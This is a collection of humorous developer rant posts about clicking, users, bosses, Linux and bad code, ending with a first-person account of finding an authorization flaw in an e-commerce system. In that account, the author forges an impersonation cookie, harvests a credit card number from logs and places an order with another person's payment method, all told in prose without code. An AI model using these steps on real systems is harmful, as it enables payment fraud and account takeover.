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-
Website design philosophies:
Apple: "...and a really big picture there, and a really big picture there, and a really big picture there, and..."
Microsoft: "border-radius:0 !important;"
Google: "EVERYTHING MOVES!!! And most websites get material design. Most."
Amazon: "We're slowly moving away from 2009"
Wix: "How can we further increase load times?"
Literally any download site: "Click here! No, click here! Nononono!! Click here!!..."
Facebook: "We can't change anything because our main age demographic is around 55"
University websites: "That information isn't hard enough to find yet. Decrease the search accuracy and increase broken links."32 -
Fixing a parents iPhone, episode 1.
Problem: "Whatsapp is gone off my phone"
Debugging:
Me: *unlocks phone and sees whatsapp*, it's right here.
Mam: no, I no that I can't see my messages.
Me: ok, that is definitely not what "whatsapp is gone off my phone means".
*opens whatsapp*
*inside add contact screen*
App seems ok, your trying to add a contact?
Mam: that's a problem, whenever I open it I only see that page.
Me: *taps cancel button with shocked face*
Mam: omg there's my messages, how did you do that?
Me: ... ... ... I tapped the very easy to see, large cancel button in the top right hand corner.
Mam: but why was it opened there?
Me: *looks at opened message from unknown number*
If I was to hazard a guess, now stay with me on this one as it's a bit complex. I think ... I THINK ... you clicked the "add to contacts" button on the screen in front of you.
I am suspicious of one thing though.
Mam: what's that?
Me: how you managed to click the add contacts button, and when brought to the add contacts screen, you assume the app is broken.
Mam: oh will you **** off you sarcastic little ****. Thank you very much.
Me: no prob, 4 year computer science course put to great use.20 -
Boss: I need you to start on this new project, how long will it take?
Me: well, hard to say with no specs whatsoever...
Boss: just your best guess
Me: 4 to 6 month I guess?
Boss: so 3 months it is. When can you start?
Me: no specs, sir...and I said 4 to 6
Boss: the specs are almost ready, I know you can simplify it
Me: ...
Boss: just start with the basic infrastructure already
(4 months later)
Boss: here you are the specs, they might change a little in behaviour and design, but all the main stuff is here
(Hands me a A3 with a total of 21 pictures in InDesign)
Me: o....Kay. what happens when I click here?
Boss: oh, we should still talk about the app workflow, I'll get you updated
(2 weeks and 16 total rewrites of the "specs" later)
Boss: you told me it was a 2 months job, why aren't you finished yet? We must deploy in 3 weeks!
Me: ...34 -
When one of those "Your windows has been infected, click here to remove virus now" ads slips through the adblocker while I'm on my Linux
3 -
~During app demo to our client~
- And when you click here the request will be submitted, the admin will be notified.
*App crashes*
- And of course the app will close itself since it's the end of the process.
- Client: That's good
- Me: ⊙﹏⊙
13 -
Customer: I need a program that can do this.
Me: Okay. We can do this. But we recommend you a gui.
Customer: Oh I don‘t need a gui. We have Windows.
Me: you will need a gui. Here you are a dummy programme without a gui. Try it out. Find out yourself.
Customer: I trust you. Dummy is fine. But it’s not ready yet, right?
Me: It’s just a dummy to show you what it means, having ni gui for that.
Customer: all fine i need this programme. Go ahead.
Me codes and silently makes one build with gui... ;) xou know what comes:
Me: here you are your programme.
Customer: how to use it? It is cryptic. A black window opens. I cannot click. The manual is full of text i habve to type. I don’t understand!?
Me: you need a gui.
Customer: Oh. I thought since windows 3.11 everything has one...
Me: pay me bucks I make you the gui.
C: meh. Okay here you are bucks.
Me: take this
C: wow so fast. This is cool. Take my money.
This sort of cognitive dissonance I will never understand. In first case ignoring my hints. In second recognizing my hints were true. But in third forgetting own stupidness and paying me extra-extra for what you ignored? Ethically I hated you so much for ignoring me, that I took your money, but you could have gotten me blaming me not selling you a gui... :D
Have a nice weekend5 -
Windows: Copying 2,513 items from <here> to <here>.
Me: OK.
Windows: 84% complete.
Me: OK.
Windows: Shit.
Me: What?!
Windows: "Copying" dialog box is not responding.
Me: Fuck you.
Windows: Well, yeah, sorry.
Me: Fuck you.
Windows: Do something else until it unfreezes.
Me: OK.
.
.
.
Me: Fuck you. Everything's stuck. Can't click anywhere.
Windows: You can still use your mouse, though.
Me: Yeah, I guess. Wait a second, it's also stuck. The whole thing is frozen as ice.
Windows: What about keyboard?
Me: I said, THE WHOLE FUCKING THING!
Windows: Well, sorry?
Me: FUCK YOU!!20 -
Linux sucks.
Now now, chill. I'm using it as my main OS for a few years now. I know what I'm talking and this title is a bit click-baity, but this just has to go out there:
1. It's usable as a Windows replacement just fine - FALSE. XFCE4 is years old and buggy as hell especially on multi-monitor set-up, Gnome3 gets stuck more often than my Windows 98 machine used to, KDE is like a rich kid on meth. Plug in Bluetooth headphones? Well no, sorry, you have to research that online, since you'll probably need to install some packages for it to work. Did I say "work"? Well no, because after more research you realize that Debian on Gnome3 on gdm3 launches pulseaudio on its own, so you have 2 instances of pulseaudio, and one of them is stealing your headphones sometimes and you either have no sound or shitty sound. How do I know that you ask? The same way I know everything else - every time you try to do something new on any Linux, it involves a ton of research. Exciting research, don't get me wrong, but at this point it looks more like a toy than a reliable desktop computer operating system.
2. And why am I using pulseaudio? Why not alsa? years ago people were discussing on forums that pulseaudio is old and dead, yet here we are with new LTS release of Ubuntu still shining with Pulseaudio. How about several different service management systems being deprecated by new ones, each having different configurations and calling methods? Apparently systemd is old and lame now. It's a mix of 10 year old software that works badly, with a 5 year old replacement that works worse, somehow trying to live under the same roof. Does it work? Ask my headphones who sound like a fucking dial-up modem.
3. Let's talk about displays, shall we? xorg is old and deprecated, right? We got Wayland that's mostly stable. Don't know what that is? That's just basic knowledge for Linux. And when you try to install network-manager, it also tries to install Mir toolkits. Because why the fuck not install 3 display managers when you want a network manager, of which one is old and dying, one is young and stupid, and another is an infant that died of cancer?
4. Want to integrate with Google Drive? Yeah, there's a tool that mounts the drive as a local directory. Yeah only for Ubuntu. Want it on Debian? You need to compile it. Oh wait, it's on Ocaml, because fuck mainstream languages, we're hipsters. How do you compile Ocaml? Well you need to have Ocaml on your system, dummy. How do you do that? Well you need to compile Ocaml. Ok, how do I do that? Well, git clone, download and install some dependencies, configure, make... oh sorry, you're using libssl1.0.2g when you need libssl1.0.1f, nope, sorry, won't work. Want to install libssl1.0.1f? Why? You already have the "g", stupid! Want to remove libssl1.0.2g? Bye-bye literally everything that you have on your PC. But at least you got the "f". Does it work now? Well no, because you need libssl1.0.2g for another dependency to work.
And all I ever wanted was to get a fucking document from google drive (not nudes, I promise).
5. Want to watch a movie? Let me tear that screen in half and make the bottom half late by a couple of frames, because who needs vertical sync, right? Oh you do? Well install the native drivers maybe. Oh you have? Welcome to eternal Boot to Recovery mode, motherfucka!
---------------------------------
Yeah, most of the times things work just fine. But the reason I know what those things are and how they work is not curiosity. The reason that I know the inner workings of Linux much better than the inner workings of Windows, is because in those few years that I've been using it full time, it has caused me 10 times more headache than I have ever experienced with other systems. And it's not the usual annoyances like "OMG it rebooted when I didn't ask it to", but more like "Oh, it won't work and I need 2 days to find out why" kind of stuff, because even if you experience the same thing again, it's always caused by some new shit and the old solution won't work any more.
I still love it, and will continue to use it. I don't know why really. Maybe because I'm not afraid of fucking it up any more? Maybe because I can do what I want in it and recovering will be easier than on Windows?
It's a toy for me, after all these years. And I also use it for professional reasons.
But whenever someone presents it as a better alternative to Windows, I just want to puke.51 -
7 am. Dog wants out. I roll out of bed after trying to pretend I am dead.
Walk down the stairs to the side door. Half asleep and notice that the door has daylight shining through on the lock side. Didn't shut it all the way the night before. Walk outside. Dog does his thing. Turn around. Doors locked.
Fuck.
Go for my phone. In the house. Go for my keys. In the house. Fuck. Fuck a duck.
Start checking my windows. One opens a fraction of an inch. Doesn't do me any good. Dog is outside with me. Freezing his ass off. It's like 5 degrees here.
Both of my neighbors don't answer their door. Life flashes before my eyes. Put my dog in my jacket to warm him up. Little 15lb rat terrier. Not made for snow.
He's fine for now. I grab a piece of rebar from my backyard and lever my window a bit more open, busting one of the locks.
And then I yell "ALEXA. OPEN THE FRONT DOOR." The voice of an angel responds. "OK." Whirrr. Click. Door opens. Sweet warmth.
I need a fake rock with a key under it.
Great Sunday.18 -
click click...
*reload*
_________________
| |
| This will be wra|
| |
|_________________|
hm.....
ah...
*hits ctrl+s*
*smiling*
*reloads*
_________________
| |
| This will be wra|
| |
|_________________|
what the f..
..
..
hm....
hm....
aha
ctrl+alt+t
*confidentiality*
sudo sublime /opt/htdocs/learning_css/wrapping_text.html
********
o.O but my code ....it's here.....but why wasn't it showing....
*just to be safe*
ctrl+s
*reload*
_________________
| |
| This will be wra|
| |
|_________________|
meh..... what was I thinking
*wastes time restarting xampp*
*searches CSS everywhere*
*steals working code*
*eyes red as hell*
*it's 3 am*
*after 1hr*
*accidentally reloads*
_________________
| |
| This will be |
| wrapped |
|_________________|
o.O
*blinking in confusion*
what the .... how did it work....
I changed nothing.....
*realises*
19 -
// family tech support
Dad: *clicks something*
Dad: *something strange happens*
Dad: Hey son, come over here. What happened?
Son: Hm.. what did u click?
Dad: I don't know. Aren't you supposed to know that? You're our computer genius.7 -
!rant
This was over a year ago now, but my first PR at my current job was +6,249/-1,545,334 loc. Here is how that happened... When I joined the company and saw the code I was supposed to work on I kind of freaked out. The project was set up in the most ass-backward way with some sort of bootstrap boilerplate sample app thing with its own build process inside a subfolder of the main angular project. The angular app used all the CSS, fonts, icons, etc. from the boilerplate app and referenced the assets directly. If you needed to make changes to the CSS, fonts, icons, etc you would need to cd into the boilerplate app directory, make the changes, run a Gulp build that compiled things there, then cd back to the main directory and run Grunt build (thats right, both grunt and gulp) that then built the angular app and referenced the compiled assets inside the boilerplate directory. One simple CSS change would take 2 minutes to test at minimum.
I told them I needed at least a week to overhaul the app before I felt like I could do any real work. Here were the horrors I found along the way.
- All compiled (unminified) assets (both CSS and JS) were committed to git, including vendor code such as jQuery and Bootstrap.
- All bower components were committed to git (ALL their source code, documentation, etc, not just the one dist/minified JS file we referenced).
- The Grunt build was set up by someone who had no idea what they were doing. Every SINGLE file or dependency that needed to be copied to the build folder was listed one by one in a HUGE config.json file instead of using pattern matching like `assets/images/*`.
- All the example code from the boilerplate and multiple jQuery spaghetti sample apps from the boilerplate were committed to git, as well as ALL the documentation too. There was literally a `git clone` of the boilerplate repo inside a folder in the app.
- There were two separate copies of Bootstrap 3 being compiled from source. One inside the boilerplate folder and one at the angular app level. They were both included on the page, so literally every single CSS rule was overridden by the second copy of bootstrap. Oh, and because bootstrap source was included and commited and built from source, the actual bootstrap source files had been edited by developers to change styles (instead of overriding them) so there was no replacing it with an OOTB minified version.
- It is an angular app but there were multiple jQuery libraries included and relied upon and used for actual in-app functionality behavior. And, beyond that, even though angular includes many native ways to do XHR requests (using $resource or $http), there were numerous places in the app where there were `XMLHttpRequest`s intermixed with angular code.
- There was no live reloading for local development, meaning if I wanted to make one CSS change I had to stop my server, run a build, start again (about 2 minutes total). They seemed to think this was fine.
- All this monstrosity was handled by a single massive Gruntfile that was over 2000loc. When all my hacking and slashing was done, I reduced this to ~140loc.
- There were developer's (I use that term loosely) *PERSONAL AWS ACCESS KEYS* hardcoded into the source code (remember, this is a web end app, so this was in every user's browser) in order to do file uploads. Of course when I checked in AWS, those keys had full admin access to absolutely everything in AWS.
- The entire unminified AWS Javascript SDK was included on the page and not used or referenced (~1.5mb)
- There was no error handling or reporting. An API error would just result in nothing happening on the front end, so the user would usually just click and click again, re-triggering the same error. There was also no error reporting software installed (NewRelic, Rollbar, etc) so we had no idea when our users encountered errors on the front end. The previous developers would literally guide users who were experiencing issues through opening their console in dev tools and have them screenshot the error and send it to them.
- I could go on and on...
This is why you hire a real front-end engineer to build your web app instead of the cheapest contractors you can find from Ukraine.
19 -
"Personalized Advertisements":
No Amazon, I'm not interested in buying any of these phones, I just bought a new one five days ago, remember? You sold it to me! And stop recommending the same book I already got five YEARS ago!
YouTube, why are you always showing me the same ad about an app I already own and use regularly? And why the FUCK do I you show me the new trailer of Star Wars Ep8 as an ad video before the actual video of the new Star Wars Ep8 trailer?
Audi, I am an university student, barely able to pay my rent, why are you telling me to buy your newest car? How do you expect me to afford this?
Monster, why exactly are you showing me job offers as "Technical Product Designer at company X" for which I'm not remotely qualified or even interested in?
Neither do I have 5000£ (I live in Germany, at least match the currency, ffs) to invest in some suspiciously promising stock market schemes, nor am I in any need of rheumatism pills or a hearing aid (I am 19). I cannot afford or want any Rolex watches and PLEASE, I don't know why you think I would, but I really do not need a special new and innovative brand of tampons, my dick is doing fine, thanks.
"Hot local singles near {my actual location} want to fuck!
Click here!!!"
At least there are still some ads you can trust to be relevant...14 -
Benefits of being a dev:
Wife: "I just wish I had a program that could organize all my shit for my [work-from-home outside sales] job. My old company had much better software."
One week later:
Me: "Here honey: I built a program that will organize your business leads, allow you to search them by city, street, phone number, it detects when you have multiple businesses with one owner, warns you of duplicate information before you add it, and you can now launch phone calls with the click of a button. I've also put an app on your phone that can send and receive data from the main program."
One hour later:
Giggity giggity.7 -
Clickbait will never change.
It's the most stable and constant source of mild annoyance.
2019 internet:
"These 3 programming languages will net you the highest salary"
"Ten home improvement tips using nothing but recycled underwear"
"How to cut onions like a real chef"
2020 internet:
"3 programming languages to learn while being bored in self-quarantine"
"Ten ways to use underwear as facemasks during the pandemic"
"Onions might cure corona, click here to learn how to cut them"
2030 internet:
"These 3 programming languages will increase your chances of survival in the wastelands"
"Ten ways to patch up your shelter against radioactive ashes using old underpants"
"Hydroponic onions are a good source of nutrients. Here's how you cut them with your camping knife"13 -
I suddenly remembered this after being gone from my previous company for nearly a year.
So, I worked there as a tech supporter and Linux engineer.
What would often happen was clients calling with an issue regarding software of some sorts and about half the time, instead of LOOKING AT THE GODDAMN ERROR MESSAGE they'd just click it away fast and complain shit wasn't working.
I specifically remember this one case:
*big client mails complained that one of their clients' email isn't working. Screenshots weren't possible apparently so after emailing back and forth for way too long, we decide to do a screen sharing session (which we never do).*
(for the record, already emailing for hours, client very frustrated, me as well because the behavior of the software sounds impossible)
Me: alright, close everything, then open it again so I can see what happens.
Client: *opens mail client, error appears, client clicks error away faster than an arch user being able to mention they use arch*
Me: uhm.... I assume you already know what that message said and that it has nothing to do with the issue?
Client: it has nothing to do with the issue.
Me: okay... But have you at least looked the message?
Client: no but it has nothing to do with the issue.
Me: but, how'd you know if you won't look at it?
Client: it has nothing to do with the issue, okay?
Me: okay.... so, what's happening here?
Client: the user isn't receiving email anymore at this point!
Me: alright, have you checked the settings and everything?
Client: of course, all good
Me: okay but can we at least restart the software again to at least check the error message?
Client: FINE. *restarts client (pun intended, of course)*
Error message: username or password incorrect, can't connect to the server.
Client:..........
Client:............
Client:...............
Client:..................
Client:.....................
Client:..................
Client:...............
Client:............
Client:.........
Client: 😐
Client: 😶
Client: 😅
Client: 😬
Client:..... Right, I changed the password...
Client: *sets correct password*
*poof, error message gone*
Client:..... Thanks 💀
Me: you're welcome 😄
💀3 -
How do I un-idiot my users when it comes to clicking on dodgy email-links??
Got a forwarded email just there from a user who said;
Good afternoon,
Is the below ok to open?
I just tried but got a popup saying I've been blocked from opening it.
I'm not sure who it is coming from and I am not waiting on anything but as it says its from dropbox and is important, i know it's okay.
Can you unblock the link ASAP please?
This is really impeding my work-day as I need to know what it is and act accordingly.
Regards... user.
The Original email came from a random jumble of letters with a subject line of 'important dropbox program' - not only does it look dodgy but its english is horrible! It said;
"Hi tu my freind,
You tu still read a pending verrry important document sent by one of your own contact to be vieweddd.
Install "Highly Confidential english.pdf" by clickinggg here
*insert link leading to something called 'viral-update-trojan.exe'*"
I mean, seriously... help!!! 😢
We have sent emails explaining how to hover over links and to not to click them if it looks wrong.
No one does it.
We hired a company to send fake phishing emails to train users in what to do.
It made no difference!
We now make people 'verify' their email addresses when opening any sort of link to try get them to actually look at what they're opening.
We also strip emails of original attachments and create 'safe' html copies as we can't trust them to look at what they're opening.
Everyone complains about it but Jesus Christ, this is why!!!
Its so exhausting!! What is wrong with people!!! Argh!!! 😤16 -
Conversation between some kind of executives on the table next to mine:
A: do you know this app that'll let you hack into any Wi-Fi? You just click here, copy that and paste it here... and I hacked the restaurant's Wi-Fi. **laughs**
B: oh, only X? Bought. Wait... what is this "allow app to access your location"?
A: yeah, click "allow". You should also install a VPN.
B: what? BPN?
A: no, no. VPN. When you use a VPN you have a secure internet connection. You're protected from tracking, hacking and virus.4 -
Dev manager: great news guys. We’ve built a new tool to do automated testing on apps. We’ve gotten rid of the old Appium solution we were using and built this new one.
Me: why not just use the inbuilt native stuff? Click to record works really well.
Manager: nah we thought it would be more flexible to build it ourself.
Me: ... ok ... moving on ... how does it work?
Manager: well this new .jar, you download it, pass in a config file, setup up your simulator and appium and the jar will do everything for you.
Me: ... wait you said you hate Appium? Now you’ve built a wrapper around it? And it doesn’t even set everything up, you’ve to do it all by hand?
Manager: oh we had too, would be too much effort to replace it. Don’t worry we can now write all our tests in .yaml config files instead of using Appium.
Me: so we’ve lost the ability of auto-complete and type ahead, everyone has to upskill on a new tool, it offers no new features over what’s available out of the box and we’ll have to deal with new bugs and maintenance and stuff our self ... because we need more flexibility?
Manager: oh don’t worry. The guy who built it is staying here. He’s going to deal with bug fixes and add features. He’s only one guy, but he’s really sharp, it’ll be great for us and the team.
Me: ... ... ...
*audible noise of soul breaking*
Me: ... ok thank you. I’ll look into this new tool3 -
"I became an expert in 3 programming languages in 6 months with this new online course! Click here to order now!!"2
-
Last weekend I witnessed the most infected computer I have ever seen in my life...
I went on a private party. A girl had her laptop plugged to the speakers to play some music. This thing was literally 99% cancer. The first thing I noticed, when I looked at her opened browser, was that nearly half the screen was taken by toolbars. Also any popular website you could visit had additional ads INJECTED into it. The fist 10 YouTube search results: always porn. No idea how that didn't make her suspicious.
Precisely every 10th click (anywhere not only in the browser) would open up a window with either more ads or an aggressively blinking message saying: "A virus has been detected on your machine. Click here to download our antivirus programm. You have 60 seconds left before your firewall breaks!!!".
Also physically this device was on the edge of completely broken. The power supply had to be taped to the socket because it was so loose. Every little jiggle would immediatly shut the system down and Windows had to be completely reinstalled (which of course didn't solved any of the "software issues").
First I wanted to use that laptop to show some friends a new web project of mine but this thing probably would have DDoSed the shit out of my recently finished work or something.
I couldn't decide if I should laugh or cry...9 -
Worst thing you've seen another dev do? So many things. Here is one...
Lead web developer had in the root of their web application config.txt (ex. http://OurPublicSite/config.txt) that contained passwords because they felt the web.config was not secure enough. Any/all applications off of the root could access the file to retrieve their credentials (sql server logins, network share passwords, etc)
When I pointed out the security flaw, the developer accused me of 'hacking' the site.
I get called into the vice-president's office which he was 'deeply concerned' about my ethical behavior and if we needed to make any personnel adjustments (grown-up speak for "Do I need to fire you over this?")
Me:"I didn't hack anything. You can navigate directly to the text file using any browser."
Dev: "Directory browsing is denied on the root folder, so you hacked something to get there."
Me: "No, I knew the name of the file so I was able to access it just like any other file."
Dev: "That is only because you have admin permissions. Normal people wouldn't have access"
Me: "I could access it from my home computer"
Dev:"BECAUSE YOU HAVE ADMIN PERMISSIONS!"
Me: "On my personal laptop where I never had to login?"
VP: "What? You mean ...no....please tell me I heard that wrong."
Dev: "No..no...its secure....no one can access that file."
<click..click>
VP: "Hmmm...I can see the system administration password right here. This is unacceptable."
Dev: "Only because your an admin too."
VP: "I'll head home over lunch and try this out on my laptop...oh wait...I left it on...I can remote into it from here"
<click..click..click..click>
VP: "OMG...there it is. That account has access to everything."
<in an almost panic>
Dev: "Only because it's you...you are an admin...that's what I'm trying to say."
Me: "That is not how our public web site works."
VP: "Thank you, but Adam and I need to discuss the next course of action. You two may go."
<Adam is her boss>
Not even 5 minutes later a company wide email was sent from Adam..
"I would like to thank <Dev> for finding and fixing the security flaw that was exposed on our site. She did a great job in securing our customer data and a great asset to our team. If you see <Dev> in the hallway, be sure to give her a big thank you!"
The "fix"? She moved the text file from the root to the bin directory, where technically, the file was no longer publicly visible.
That 'pattern' was used heavily until she was promoted to upper management and the younger webdev bucks (and does) felt storing admin-level passwords was unethical and found more secure ways to authenticate.5 -
This is my first IoT project. It's pretty simple, but I've been very happy with the results thus far.
About this time last year, someone got into our garage and rifled through my wife's car.
I have a camera in my garage, and a Phillips Hue motion detector. Using the Hue's excellent API, I have a perl script that checks for motion every couple of seconds, and starts capturing from the camera via RTSP if it does. That video is then staged, ready to be uploaded to a digital ocean droplet if I click on a link in the mailgun-powered email that's then sent to me and my wife, along with a preview GIF of the video, created through the same ffmpeg process that pulled the capture from the camera.
Here you can see me getting home from work.
20 -
My PM: I don't like when you get up and help out other colleagues with their problems on their computer. You're not at their service.
Me: okay, I'll refrain from doing so.
The next day, I arrive 5 minutes before 8, I get myself a coffee, talk with a few colleagues, and:
PM: Hey, can you please come and help me review this email?
Me: ** fuck it, I still have 2 minutes ** Yeah I'm coming
PM: Now please.
Me: ...
Also my PM, 5 minutes later: Hey I don't manage to print my document, can you help me?
Me: ...
10 minutes later, I get a call:
PM: did you call XY about ZX?
Me: Yep, sent you a mail about it 2 minutes ago
PM: Really? I don't see it
Me: I sent it.
PM: Can you send it again?
Me: ...
Later that day:
PM: Hey, what are you up to?
Me: Well, I'm working on our improved websi-
PM: Can you please create a new campaign on Mailchimp? We're all under water here and a bit of cooperation from you would be great
Me: ** huh? ** erm, ok?
PM: Do it now
Me: Yeah yeah, don't worry. ** click ** here, done. Now, where was I...
----- PM on holidays
Other colleague from another department: Hey Phlisg! I have a small problem on our platform, can you help me?
Me: ** writes a script to help her out **
Her: awesome, thank you!!
Her own PM, 5 minutes later: Hey! Thank you very much for your help, it helps us out a real lot, very much appreciated :)
I lost my smile at work since the beginning of the year, but that little help I gave my colleague just gave my smile back to me :D14 -
===rant
So I have been freelancing as web developer for 5 years. I was also playing basketball professionally so I was only working part-time, building websites here and there, small android apps to learn the job and I was also reading a lot to challenge my brain.
When I stopped playing basketball about a year ago, I thought I would really enjoy coding full time so I pursued a job.
With no formal education and just a basketball background on paper, in the collapsed Greek economy, as you may assume chances of landing a job are minimal.
After about 40 resumes sent I only got an internship. It was a 4 month, part-time, no pay deal, and then the company would decide if they would like to hire me later.
The company had 4 employees and they are one of the largest software distribution businesses in my area. They resell SaaS bought from a third company, bundled with installation support, initial configuration, hardware support, whatever a client may need.
I was the only one with any ability to code whatsoever. The other people were working mostly on customer support with the occasional hardware repair.
After the 4 month period they owner (small company, owner was also manager and other roles) told me that they are very happy with my work and would like to keep me part-time with minimum pay.
Just to give you and idea if the amounts of money involved, in Greece, after taxes, my salary was 240euros per month. And the average cost of surviving (rent, cheapest food possible, no expenses on anything but super basics) is about 600euros.
I told him I needed more to live and he told me ok, we will reevaluate a few months later, at the end of May 2017.
I just accepted it without having many options. The company after all was charging clients 30euros per hour for my projects so I kept thinking that if I worked a lot and delivered consistently I would get a full time job and decent money.
And I delivered. In the following months I made a Magento extension, some WordPress themes, a C# application to extract data from the client's ERP and import it to a third application, a click to call application to use Asterisk to originate calls from the client's ERP, a web application to manage a restaurant's menu and many more small projects. Whatever they asked, I delivered.
On time, version controlled, heavily documented solutions (my C# ones are not exactly masterpieces but it was my first time with the language and windows).
So when May ended I was pretty excited to hear they wanted to keep me full time. I worked hard for it, I was serious, professional, I tried a lot to learn things so I can deliver, and the company recognized that. YAY.
So the time comes to talk money. The offer was 480euros per month. Double my part-time pay, minimum wage. I asked for about 700. Manager said it's hard but I will see what I can do. So we agreed to keep the deal for June while they are working on a better offer.
During the first half of June I finished my last project, put all my work on a nice folder with a nice readme on every project's directory, with their version control and everything.
The offer never improved, so I said no deal, and as of today, I am jobless.
I am stressed as fuck and excited as fuck at the same time.
I will do my best to survive in the shitstorm that is called Greece.
Bring it on.9 -
[Microsoft documentation]
* click here to know more about ShitException *click it*
* discover the new Surface Pro, click for purchase..
what the shit !!3 -
How can people be so fucking stupid?
Imagine I made a program with two buttons, one that says "click here for x" and the other that says "click here for y" and they are asking me where to click for x.. Really mother fucker? Do you really have a PhD? Might me a PhD on retardness!! fuck you, I'm on vacation...7 -
Here's the time an Amazon recruiter scheduled a call with me just to tell me I wouldn't be getting the job.
A few years ago, I left Uber after the seemingly non-stop public snafus they were getting themselves into (I have a lot of rants about Uber if anyone is interested, some of them mind-melting). I decided to take a two month break given that my financials looked decent for once and I was tired of 100 hour weeks.
During that time, I of course started perusing the typical job-seeking sites I had remembered from before. Somehow, from one of the profiles I set up, I caught the eye of an Amazon recruiter. They emailed me and I agreed to set up a date and time for an introductory chat.
They already had my CV. They already had my StackOverflow/Github information. This wasn't a technical interview, and the recruiter wasn't part of any of the tech teams. This is important information moving forward.
A few days later, I got the call from the recruiter. He introduced himself as the person from the emails, thanking my for my time, etc.. Things started out pleasant with the smalltalk and whatnot, but then the recruiter said "so I have some concerns about your resume".
Under one of the sections I had a list of things I was skilled with - one of which, regrettably, is PHP. Completely ignoring Java, Javascript, C# and C++ knowledge and all of the other achievements I have with those technologies, the recruiter really wanted to drill me about the PHP.
"Do you work a lot with PHP?"
"No, not anymore - from time to time I have to do something with it but it's not my main language anymore. I know it quite well, though."
"Oh okay well we aren't looking for any PHP roles right now, unfortunately."
"Okay, no problem."
Perhaps I could have said more, but from my end of things, I meant "I don't see a problem here, I don't write a lot of PHP and you don't need a lot of PHP".
After a pause that felt like an hour, the recruiter broke the silence and said "Okay well thanks for your time today, I'm sorry things didn't work out."
Bewildered, I asked which technology stack they were using on the team.
"Not PHP, unfortunately. Thank you for your time." and then an abrupt click.
The recruiter found me himself, looked at my resume (assumably), sought out to contact me, arranged a time for a call, and then called me, just to tell me I wouldn't get the position due to knowing PHP at some point in my career.
Years later, the whole interaction still shocks me. Somewhere in my drafts I have a long letter to the recruiter basically going over my entire career history explaining why his call was incredibly... well, fucking weird. Towards the end of writing it I realized it was more therapeutic for me to deal with whatever it was that just took place and that it probably wouldn't change my odds of working at Amazon.
So yeah. That's the story of the time Amazon set up a recruiting call just to tell me I wouldn't be working for them.9 -
Imagine, you get employed to restart a software project. They tell you, but first we should get this old software running. It's 'almost finished'.
A WPF application running on a soc ... with a 10" touchscreen on win10, a embedded solution, to control a machine, which has been already sold to customers. You think, 'ok, WTF, why is this happening'?
You open the old software - it crashes immediately.
You open it again but now you are so clever to copy an xml file manually to the root folder and see all of it's beauty for the first time (after waiting for the freezed GUI to become responsive):
* a static logo of the company, taking about 1/5 of the screen horizontally
* circle buttons
* and a navigation interface made in the early 90's from a child
So you click a button and - it crashes.
You restart the software.
You type something like 'abc' in a 'numberfield' - it crashes.
OK ... now you start the application again and try to navigate to another view - and? of course it crashes again.
You are excited to finally open the source code of this masterpiece.
Thank you jesus, the 'dev' who did this, didn't forget to write every business logic in the code behind of the views.
He even managed to put 6 views into one and put all their logig in the code behind!
He doesn't know what binding is or a pattern like MVVM.
But hey, there is also no validation of anything, not even checks for null.
He was so clever to use the GUI as his place to save data and there is a lot of parsing going on here, every time a value changes.
A thread must be something he never heard about - so thats why the GUI always freezes.
You tell them: It would be faster to rewrite the whole thing, because you wouldn't call it even an alpha. Nobody listenes.
Time passes by, new features must be implemented in this abomination, you try to make the cripple walk and everyone keeps asking: 'When we can start the new software?' and the guy who wrote this piece of shit in the first place, tries to give you good advice in coding and is telling you again: 'It was almost finished.' *facepalm*
And you? You would like to do him and humanity a big favour by hiting him hard in the face and breaking his hands, so he can never lay a hand on any keyboard again, to produce something no one serious would ever call code.4 -
So, some time ago, I was working for a complete puckered anus of a cosmetics company on their ecommerce product. Won't name names, but they're shitty and known for MLM. If you're clever, go you ;)
Anyways, over the course of years they brought in a competent firm to implement their service layer. I'd even worked with them in the past and it was designed to handle a frankly ridiculous-scale load. After they got the 1.0 released, the manager was replaced with some absolutely talentless, chauvinist cuntrag from a phone company that is well known for having 99% indian devs and not being able to heard now. He of course brought in his number two, worked on making life miserable and running everyone on the team off; inside of a year the entire team was ex-said-phone-company.
Watching the decay of this product was a sheer joy. They cratered the database numerous times during peak-load periods, caused $20M in redis-cluster cost overrun, ended up submitting hundreds of erroneous and duplicate orders, and mailed almost $40K worth of product to a random guy in outer mongolia who is , we can only hope, now enjoying his new life as an instagram influencer. They even terminally broke the automatic metadata, and hired THIRTY PEOPLE to sit there and do nothing but edit swagger. And it was still both wrong and unusable.
Over the course of two years, I ended up rewriting large portions of their infra surrounding the centralized service cancer to do things like, "implement security," as well as cut memory usage and runtimes down by quite literally 100x in the worst cases.
It was during this time I discovered a rather critical flaw. This is the story of what, how and how can you fucking even be that stupid. The issue relates to users and their reports and their ability to order.
I first found this issue looking at some erroneous data for a low value order and went, "There's no fucking way, they're fucking stupid, but this is borderline criminal." It was easy to miss, but someone in a top down reporting chain had submitted an order for someone else in a different org. Shouldn't be possible, but here was that order staring me in the face.
So I set to work seeing if we'd pwned ourselves as an org. I spend a few hours poring over logs from the log service and dynatrace trying to recreate what happened. I first tested to see if I could get a user, not something that was usually done because auth identity was pervasive. I discover the users are INCREMENTAL int values they used for ids in the database when requesting from the API, so naturally I have a full list of users and their title and relative position, as well as reports and descendants in about 10 minutes.
I try the happy path of setting values for random, known payment methods and org structures similar to the impossible order, and submitting as a normal user, no dice. Several more tries and I'm confident this isn't the vector.
Exhausting that option, I look at the protocol for a type of order in the system that allowed higher level people to impersonate people below them and use their own payment info for descendant report orders. I see that all of the data for this transaction is stored in a cookie. Few tests later, I discover the UI has no forgery checks, hashing, etc, and just fucking trusts whatever is present in that cookie.
An hour of tweaking later, I'm impersonating a director as a bottom rung employee. Score. So I fill a cart with a bunch of test items and proceed to checkout. There, in all its glory are the director's payment options. I select one and am presented with:
"please reenter card number to validate."
Bupkiss. Dead end.
OR SO YOU WOULD THINK.
One unimportant detail I noticed during my log investigations that the shit slinging GUI monkeys who butchered the system didn't was, on a failed attempt to submit payment in the DB, the logs were filled with messages like:
"Failed to submit order for [userid] with credit card id [id], number [FULL CREDIT CARD NUMBER]"
One submit click later and the user's credit card number drops into lnav like a gatcha prize. I dutifully rerun the checkout and got an email send notification in the logs for successful transfer to fulfillment. Order placed. Some continued experimentation later and the truth is evident:
With an authenticated user or any privilege, you could place any order, as anyone, using anyon's payment methods and have it sent anywhere.
